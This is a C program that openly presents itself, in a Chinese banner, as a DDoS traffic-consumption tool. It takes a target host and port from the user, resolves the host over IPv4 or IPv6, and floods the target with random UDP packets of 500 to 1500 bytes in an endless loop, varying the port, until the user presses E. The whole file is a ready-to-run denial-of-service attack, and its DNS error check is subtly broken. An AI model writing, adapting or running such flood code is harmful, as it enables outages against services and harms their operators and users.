#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <termios.h>
#include <fcntl.h>
#include <netdb.h>
#include <errno.h>


int kbhit() {
    struct termios oldt, newt;
    int ch;
    int oldf;

    tcgetattr(STDIN_FILENO, &oldt);
    newt = oldt;
    newt.c_lflag &= ~(ICANON | ECHO);
    tcsetattr(STDIN_FILENO, TCSANOW, &newt);
    oldf = fcntl(STDIN_FILENO, F_GETFL, 0);
    fcntl(STDIN_FILENO, F_SETFL, oldf | O_NONBLOCK);

    ch = getchar();

    tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
    fcntl(STDIN_FILENO, F_SETFL, oldf);

    if (ch != EOF) {
        ungetc(ch, stdin);
        return 1;
    }
    return 0;
}


void generate_random_payload(unsigned char *buffer, size_t size) {
    FILE *urandom = fopen("/dev/urandom", "rb");
    if (urandom) {
        if (fread(buffer, 1, size, urandom) != size) {
           
            for (size_t i = 0; i < size; i++) {
                buffer[i] = rand() % 256;
            }
        }
        fclose(urandom);
    } else {
      
        for (size_t i = 0; i < size; i++) {
            buffer[i] = rand() % 256;
        }
    }
}


int resolve_dns(const char *host, char *ipstr, int ipstr_len, int *is_ipv6) {
    struct addrinfo hints, *res, *p;
    int status;
    
    memset(&hints, 0, sizeof hints);
    hints.ai_family = AF_UNSPEC; 
    hints.ai_socktype = SOCK_DGRAM;
    
    if (status == getaddrinfo(host, NULL, &hints, &res)) {
        fprintf(stderr, "DNS解析失败: %s\n", gai_strerror(status));
        return 0;
    }
    
   
    for (p = res; p != NULL; p = p->ai_next) {
        void *addr;
        char ip[INET6_ADDRSTRLEN];
        
       
        if (p->ai_family == AF_INET) { 
            struct sockaddr_in *ipv4 = (struct sockaddr_in *)p->ai_addr;
            addr = &(ipv4->sin_addr);
            *is_ipv6 = 0;
        } else { 
            struct sockaddr_in6 *ipv6 = (struct sockaddr_in6 *)p->ai_addr;
            addr = &(ipv6->sin6_addr);
            *is_ipv6 = 1;
        }
        
        
        inet_ntop(p->ai_family, addr, ip, sizeof ip);
        strncpy(ipstr, ip, ipstr_len - 1);
        ipstr[ipstr_len - 1] = '\0';
        
        
        freeaddrinfo(res);
        return 1;
    }
    
    freeaddrinfo(res);
    return 0;
}


void display_stats(int sent, int size, const char *ip, int port, int is_ipv6) {
    double total_mb = (double)(sent * size) / (1024 * 1024);
    printf("\033[2J\033[H");  
    printf("运行中...\n");
    printf("目标: %s:%d\n", ip, port);
    printf("协议: %s\n", is_ipv6 ? "IPv6" : "IPv4");
    printf("已发送: %d 数据包\n", sent);
    printf("总数据量: %.2f MB\n", total_mb);
    printf("\n按 E 键停止运行\n");
}


int create_ipv4_socket() {
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("创建IPv4套接字失败");
        return -1;
    }
    
    
    int broadcast = 1;
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &broadcast, sizeof(broadcast))) {
        perror("设置广播选项失败");
    }
    
    return sock;
}


int create_ipv6_socket() {
    int sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("创建IPv6套接字失败");
        return -1;
    }
    
    return sock;
}

int main() {
    srand(time(NULL));
    
    system("clear");
    printf("  _____  _____   ____   ____ \n");
    printf(" |  __ \\|  __ \\ / __ \\ / __ \\\n");
    printf(" | |  | | |  | | |  | | |  | |\n");
    printf(" | |  | | |  | | |  | | |  | |\n");
    printf(" | |__| | |__| | |__| | |__| |\n");
    printf(" |_____/|_____/ \\____/ \\____/\n\n");
    printf(" ---------[DDOS流量消耗工具]---------\n");
    printf(" 支持IPv4/IPv6 | 使用DNS解析 | 按E键停止\n\n");
    
    char target[256];
    char ip[INET6_ADDRSTRLEN] = {0};
    int port, is_ipv6 = 0;
    
    printf("请输入目标主机(域名或IP): ");
    if (fgets(target, sizeof(target), stdin) == NULL) {
        perror("输入错误");
        return 1;
    }
    
   
    target[strcspn(target, "\n")] = 0;
    
   
    if (strlen(target) == 0) {
        printf("错误: 目标不能为空\n");
        return 1;
    }
    
   
    if (!resolve_dns(target, ip, sizeof(ip), &is_ipv6)) {
        printf("无法解析目标: %s\n", target);
        return 1;
    }
    
    printf("请输入目标端口: ");
    if (scanf("%d", &port) != 1) {
        printf("无效的端口\n");
        return 1;
    }
    
    int sock;
    if (is_ipv6) {
        sock = create_ipv6_socket();
    } else {
        sock = create_ipv4_socket();
    }
    
    if (sock < 0) {
        return 1;
    }
    
    struct sockaddr_in6 dest_addr6;
    struct sockaddr_in dest_addr4;
    struct sockaddr *dest_addr;
    socklen_t addr_len;
    
    memset(is_ipv6 ? (void*)&dest_addr6 : (void*)&dest_addr4, 0, 
           is_ipv6 ? sizeof(dest_addr6) : sizeof(dest_addr4));
    
    if (is_ipv6) {
        dest_addr6.sin6_family = AF_INET6;
        dest_addr6.sin6_port = htons(port);
        if (inet_pton(AF_INET6, ip, &dest_addr6.sin6_addr) <= 0) {
            perror("无效的IPv6地址");
            close(sock);
            return 1;
        }
        dest_addr = (struct sockaddr*)&dest_addr6;
        addr_len = sizeof(dest_addr6);
    } else {
        dest_addr4.sin_family = AF_INET;
        dest_addr4.sin_port = htons(port);
        if (inet_pton(AF_INET, ip, &dest_addr4.sin_addr) <= 0) {
            perror("无效的IPv4地址");
            close(sock);
            return 1;
        }
        dest_addr = (struct sockaddr*)&dest_addr4;
        addr_len = sizeof(dest_addr4);
    }
    
    const int min_size = 500;
    const int max_size = 1500;
    unsigned char packet[max_size];
    
    int sent = 0;
    time_t last_display = time(NULL);
    
    system("clear");
    printf("运行中...\n");
    printf("目标: %s:%d\n", ip, port);
    printf("协议: %s\n", is_ipv6 ? "IPv6" : "IPv4");
    printf("按 →E← 键停止\n\n");
    
    while (1) {
        
        int packet_size = min_size + (rand() % (max_size - min_size));
        generate_random_payload(packet, packet_size);
        
        
        int random_port = port + (rand() % 10);
        if (is_ipv6) {
            dest_addr6.sin6_port = htons(random_port);
        } else {
            dest_addr4.sin_port = htons(random_port);
        }
        
       
        if (sendto(sock, packet, packet_size, 0, dest_addr, addr_len) < 0) {
            
            if (errno != ENETUNREACH && errno != EHOSTUNREACH && errno != EPERM) {
                perror("发送失败");
            }
        } else {
            sent++;
        }
        
        
        time_t now = time(NULL);
        if (now - last_display >= 1) {
            display_stats(sent, (min_size + max_size)/2, ip, port, is_ipv6);
            last_display = now;
        }
        
     
        if (kbhit()) {
            char key = getchar();
            if (key == 'E' || key == 'e') {
                printf("\n消耗已停止\n");
                break;
            }
        }
        
      
        usleep(1000);
    }
    
    close(sock);
    return 0;
}